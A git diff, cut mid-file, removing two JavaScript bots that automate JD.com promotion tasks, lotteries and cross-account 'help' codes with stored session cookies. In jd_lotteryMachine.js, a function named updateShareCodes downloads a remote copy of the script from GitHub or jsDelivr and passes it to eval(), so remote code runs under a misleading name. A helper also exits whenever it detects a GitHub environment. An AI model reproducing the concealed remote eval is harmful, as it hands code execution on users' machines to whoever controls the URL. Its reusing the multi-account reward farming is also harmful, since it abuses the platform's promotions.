${e}!`, '') -}).finally(() => { - $.done(); -}); - -async function main(cookie) { - let userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); - await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"apiMapping":"/api/activityRules"}&t=${Date.now()}&loginType=2`); - let homePage = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"apiMapping":"/api/homePage"}&t=${Date.now()}&loginType=2`); - let getTaskList = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"apiMapping":"/api/task/getTaskList"}&t=${Date.now()}&loginType=2`); - await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"apiMapping":"/api/isRisk"}&t=${Date.now()}&loginType=2`); - if(JSON.stringify(homePage) === '{}' || JSON.stringify(getTaskList) === '{}'){ - console.log(`${userName},获取活动详情失败`); - return ; - } - console.log(`${userName},获取活动详情成功`); - await $.wait(2000); - let time = 0; - let runFlag = false; - do { - runFlag = false; - for (let i = 0; i < getTaskList.length; i++) { - let oneTask = getTaskList[i]; - if(oneTask.totalNum === oneTask.finishNum){ - console.log(`${userName},任务:${oneTask.taskName},已完成`); - continue; - } - console.log(`${userName},任务:${oneTask.taskName},去执行`); - if(oneTask.type === 'JOIN_SHOPPING_CART'){ - let getReward = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"parentId":"${oneTask.parentId}","taskId":"${oneTask.taskId}","activityDate":"${homePage.activityDate}","apiMapping":"/api/task/getReward"}&t=${Date.now()}&loginType=2`); - console.log(`${userName},执行结果:${JSON.stringify(getReward)}`); - await $.wait(2000); - } - if(oneTask.type === 'BROWSE_TASK' || oneTask.type === 'FOLLOW_CHANNEL_TASK'){ - let doInfo = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"parentId":"${oneTask.parentId}","taskId":"${oneTask.taskId}","activityDate":"${homePage.activityDate}","apiMapping":"/api/task/doTask"}&t=${Date.now()}&loginType=2`); - let time = 2; - if(oneTask.browseTime > 0){ - time = oneTask.browseTime; - } - await $.wait(time*1000); - let getReward = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"parentId":"${oneTask.parentId}","taskId":"${oneTask.taskId}","timeStamp":${doInfo.timeStamp},"activityDate":"${homePage.activityDate}","apiMapping":"/api/task/getReward"}&t=${Date.now()}&loginType=2`); - console.log(`${userName},执行结果:${JSON.stringify(getReward)}`); - } - if(oneTask.type === 'FOLLOW_SHOP_TASK'){ - let doTask = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"parentId":"${oneTask.parentId}","taskId":"${oneTask.taskId}","activityDate":"${homePage.activityDate}","apiMapping":"/api/task/doTask"}&t=${Date.now()}&loginType=2`); - console.log(`${userName},执行结果:${JSON.stringify(doTask.rewardVo)}`); - } - runFlag = true; - } - time ++; - if(runFlag && time < 2){ - await $.wait(1000); - getTaskList = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"apiMapping":"/api/task/getTaskList"}&t=${Date.now()}&loginType=2`); - } - }while (runFlag && time < 2); - let questions = homePage.questions; - let questionInfo = {}; - for (let i = 0; i < questions.length; i++) { - questionInfo[questions[i].answerCode] = questions[i].skuName; - } - let thisCode = ''; - if(answerCode === '999'){ - thisCode = Math.round((Math.random()*10))%2 === 0 ? "A" : "B"; - console.log(`\n没有设置环境变量ANSWERCODE,随机选择队伍:${thisCode}\n`) - }else{ - thisCode = answerCode; - } - if(thisCode){ - if(homePage.userAnswerCode === null){ - await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"activityDate":"${homePage.activityDate}","apiMapping":"/api/checkGuess"}&t=${Date.now()}&loginType=2`); - - await $.wait(1000); - console.log(`${userName},选择队伍:${questionInfo[thisCode]}`); - let guessAnswer = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"activityDate":"${homePage.activityDate}","answerCode":"${thisCode}","apiMapping":"/api/guessAnswer"}&t=${Date.now()}&loginType=2`); - console.log(`${userName},选择返回:${JSON.stringify(guessAnswer)}`); - await $.wait(1000); - homePage = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"apiMapping":"/api/homePage"}&t=${Date.now()}&loginType=2`); - - } - }else if(homePage.userAnswerCode === null){ - console.log(`${userName},没有选择答案`); - }else{ - console.log(`${userName},已选择队伍:${questionInfo[homePage.userAnswerCode]}`); - } - await $.wait(1000); - if(homePage.lotteryButtonStatus === 1){ - console.log(`${userName},进行一次抽奖`); - let lottery = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"activityDate":"${homePage.activityDate}","apiMapping":"/api/lottery/lottery"}&t=${Date.now()}&loginType=2`); - console.log(`${userName},抽奖结果:${JSON.stringify(lottery)}`); - } - let shareId = homePage.shareId; - if(shareId){ - let initSupport = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"shareId":"${shareId}","apiMapping":"/api/initSupport"}&t=${Date.now()}&loginType=2`); - console.log(`\n${userName},助力码:${shareId},已被助力:${initSupport.supportedNum}次,需要被助力:${initSupport.supportNeedNum}次,当前倍数:${initSupport.doubleNum}倍`); - let need = Number(initSupport.supportNeedNum) - Number(initSupport.supportedNum); - if(need > 0){ - shareList.push({'user':userName,'code':shareId,'need':need}); - } - } - let activityDateList = homePage.activityDateList; - for (let i = 0; i < activityDateList.length; i++) { - let activityDate = activityDateList[i]; - let homePage = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"activityDate":${activityDate},"apiMapping":"/api/homePage"}&t=${Date.now()}&loginType=2`); - await $.wait(2000); - if(homePage.lotteryButtonStatus === 2){ - console.log(`领取${activityDate}竞猜奖励`); - let lotteryInfo = await takeRequest(cookie,`appid=china-joy&functionId=champion_game_prod&body={"activityDate":"${activityDate}","apiMapping":"/api/lottery"}&t=${Date.now()}&loginType=2`); - console.log(JSON.stringify(lotteryInfo)); - await $.wait(2000); - } - } -} -async function takeRequest(cookie,body){ - let url = 'https://api.m.jd.com/api'; - const headers = { - 'Origin' : `https://dnsm618-100million.m.jd.com`, - 'Cookie' : cookie , - 'Connection' : `keep-alive`, - 'Accept' : `application/json, text/plain, */*`, - 'Referer' : `https://dnsm618-100million.m.jd.com/`, - 'Host' : `api.m.jd.com`, - 'user-agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Language' : `zh-cn`, - 'Accept-Encoding' : `gzip, deflate, br` - }; - let myRequest = {url: url, headers: headers,body:body}; - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - if(err){ - console.log(err); - }else{ - data = JSON.parse(data); - if(data && data.data && JSON.stringify(data.data) === '{}'){ - console.log(JSON.stringify(data)) - } - } - } catch (e) { - console.log(data); - $.logErr(e, resp) - } finally { - resolve(data.data || {}); - } - }) - }) -} - - - -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_lotteryMachine.js b/backUp/jd_lotteryMachine.js deleted file mode 100644 index ebcb5c9..0000000 --- a/backUp/jd_lotteryMachine.js +++ /dev/null @@ -1,274 +0,0 @@ -/* -京东抽奖机 https://raw.githubusercontent.com/yangtingxiao/QuantumultX/master/scripts/jd/jd_lotteryMachine.js -author:yangtingxiao -github: https://github.com/yangtingxiao -活动入口:京东APP中各种抽奖活动的汇总 - -修改自用 By xxx -更新时间:2021-05-25 8:50 - */ -const $ = new Env('京东抽奖机&内部互助'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -let cookiesArr = [], cookie = ''; -Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) -}) -if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); - -const appIdArr = ['1EFRRxA','1EFRQwA','1EFRXxg','1EFVRxg','1E1xVyqw'] -const homeDataFunPrefixArr = ['interact_template','interact_template','harmony_template','','','','','','','','','','interact_template','interact_template'] -const collectScoreFunPrefixArr = ['','','','','','','','','','','','','interact_template','interact_template'] - -$.allShareId = {}; -main(); -async function main() { - await help();//先账号内部互助 - await updateShareCodes(); - if (!$.body) await updateShareCodesCDN(); - if ($.body) { - eval($.body); - } - $.http.get({url: `https://purge.jsdelivr.net/gh/yangtingxiao/QuantumultX@master/scripts/jd/jd_lotteryMachine.js`}).then((resp) => { - if (resp.statusCode === 200) { - let { body } = resp; - body = JSON.parse(body); - if (body['success']) { - console.log(`jd_lotteryMachine.js文件 CDN刷新成功`) - } else { - console.log(`jd_lotteryMachine.js文件 CDN刷新失败`) - } - } - }).catch((err) => console.log(`更新jd_lotteryMachine.js文件 CDN异常`, err)); -} -async function help() { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); - return; - } - console.log(`\n\n当前共有${appIdArr.length}个抽奖机活动\n\n`); - for (let j in appIdArr) { - $.invites = []; - $.appId = appIdArr[j]; - $.appIndex = parseInt(j) + 1; - homeDataFunPrefix = homeDataFunPrefixArr[j] || 'healthyDay'; - console.log(`\n第${parseInt(j) + 1}个抽奖活动【${$.appId}】`) - console.log(`functionId:${homeDataFunPrefix}_getHomeData`); - $.acHelpFlag = true;//该活动是否需要助力,true需要,false 不需要 - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - console.log(`\n***************开始京东账号${i + 1} ${$.UserName}***************`) - await interact_template_getHomeData(); - } - if (i === 0 && !$.acHelpFlag) { - console.log(`\n第${parseInt(j) + 1}个抽奖活动【${$.appId}】,不需要助力`); - break; - } - } - if ($.invites.length > 0) { - $.allShareId[appIdArr[j]] = $.invites; - } - } - // console.log('$.allShareId', JSON.stringify($.allShareId)) - if (!cookiesArr || cookiesArr.length < 2) return - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.index = i + 1; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - for (let oneAppId in $.allShareId) { - let oneAcHelpList = $.allShareId[oneAppId]; - for (let j = 0; j < oneAcHelpList.length; j++) { - $.item = oneAcHelpList[j]; - if ($.UserName === $.item['userName']) continue; - if (!$.item['taskToken'] && !$.item['taskId'] || $.item['max']) continue - console.log(`账号${i + 1} ${$.UserName} 去助力账号 ${$.item['userName']}的第${$.item['index']}个抽奖活动【${$.item['appId']}】,邀请码 【${$.item['taskToken']}】`) - $.canHelp = true; - collectScoreFunPrefix = collectScoreFunPrefixArr[$.item['index'] - 1] || 'harmony' - await harmony_collectScore(); - if (!$.canHelp) { - // console.log(`跳出`); - break;//此处如果break,则遇到第一个活动就无助力机会时,不会继续助力第二个活动了 - } - } - } - } -} -function interact_template_getHomeData(timeout = 0) { - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `https://api.m.jd.com/client.action`, - headers : { - 'Origin' : `https://h5.m.jd.com`, - 'Cookie' : cookie, - 'Connection' : `keep-alive`, - 'Accept' : `application/json, text/plain, */*`, - 'Referer' : `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, - 'Host' : `api.m.jd.com`, - 'Accept-Encoding' : `gzip, deflate, br`, - 'Accept-Language' : `zh-cn` - }, - body: `functionId=${homeDataFunPrefix}_getHomeData&body={"appId":"${$.appId}","taskToken":""}&client=wh5&clientVersion=1.0.0` - } - - $.post(url, async (err, resp, data) => { - try { - let invitesFlag = false; - data = JSON.parse(data); - if (data['code'] === 0) { - if (data.data && data.data.bizCode === 0) { - for (let item of data.data.result.taskVos) { - if ([14, 6].includes(item.taskType)) { - console.log(`邀请码:${item.assistTaskDetailVo.taskToken}`) - console.log(`邀请好友助力:${item.times}/${item['maxTimes']}\n`); - if (item.assistTaskDetailVo.taskToken && item.taskId && item.times !== item['maxTimes']) { - $.invites.push({ - taskToken: item.assistTaskDetailVo.taskToken, - taskId: item.taskId, - userName: $.UserName, - appId: $.appId, - index: $.appIndex, - max: false - }) - } - invitesFlag = true;//该活动存在助力码 - } - } - if (!invitesFlag) { - $.acHelpFlag = false; - } - } else { - console.log(`获取抽奖活动数据失败:${data.data.bizMsg}`); - $.invites.push({ - taskToken: null, - taskId: null, - userName: $.UserName, - appId: $.appId, - index: $.appIndex - }) - } - } else { - console.log(`获取抽奖活动数据异常:${JSON.stringify(data)}`) - $.invites.push({ - taskToken: null, - taskId: null, - userName: $.UserName, - appId: $.appId, - index: $.appIndex - }) - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - },timeout) - }) -} -//做任务 -function harmony_collectScore(timeout = 0) { - // console.log(`助力 ${taskToken}`) - return new Promise((resolve) => { - setTimeout( ()=>{ - let url = { - url : `https://api.m.jd.com/client.action`, - headers: { - "Accept": "application/json, text/plain, */*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - "Cookie": cookie, - "Host": "api.m.jd.com", - "Origin": "https://h5.m.jd.com", - "Referer": `https://h5.m.jd.com/babelDiy/Zeus/ahMDcVkuPyTd2zSBmWC11aMvb51/index.html?inviteId=${$.item['taskToken']}`, - "User-Agent": "jdapp;iPhone;9.4.6;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/B28DA848-0DA0-4AAA-AE7E-A6F55695C590;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167618;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" - }, - body: `functionId=${collectScoreFunPrefix}_collectScore&body={"appId": "${$.appId}","taskToken":"${$.item['taskToken']}","taskId":${$.item['taskId']},"actionType": 0}&client=wh5&clientVersion=1.0.0` - } - $.post(url, async (err, resp, data) => { - try { - // console.log(data) - data = JSON.parse(data); - if (data['code'] === 0) { - if (data['data']['bizCode'] === 0) { - console.log(`助力结果:${data.data.bizMsg}🎉\n`); - } else { - if (data['data']['bizCode'] === 108) $.canHelp = false; - if (data['data']['bizCode'] === 103) $.item['max'] = true; - console.log(`助力失败:${data.data.bizMsg}\n`); - } - } else { - console.log(`助力异常:${JSON.stringify(data)}\n`); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve() - } - }) - }, timeout) - }) -} - -function updateShareCodes(url = 'https://raw.githubusercontent.com/yangtingxiao/QuantumultX/master/scripts/jd/jd_lotteryMachine.js') { - return new Promise(resolve => { - const options = { - url: `${url}?${Date.now()}`, "timeout": 10000, headers: { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - $.get(options, async (err, resp, data) => { - try { - if (err) { - console.log(`请求访问 【raw.githubusercontent.com】 的jd_lotteryMachine.js文件失败:${JSON.stringify(err)}\n\n下面使用 【cdn.jsdelivr.net】请求访问jd_lotteryMachine.js文件`) - } else { - $.body = data; - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function updateShareCodesCDN(url = 'https://cdn.jsdelivr.net/gh/yangtingxiao/QuantumultX@master/scripts/jd/jd_lotteryMachine.js') { - return new Promise(async resolve => { - $.get({url: `${url}?${Date.now()}`, timeout: 10000}, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.body = data; - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - await $.wait(3000) - resolve(); - }) -} - -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete 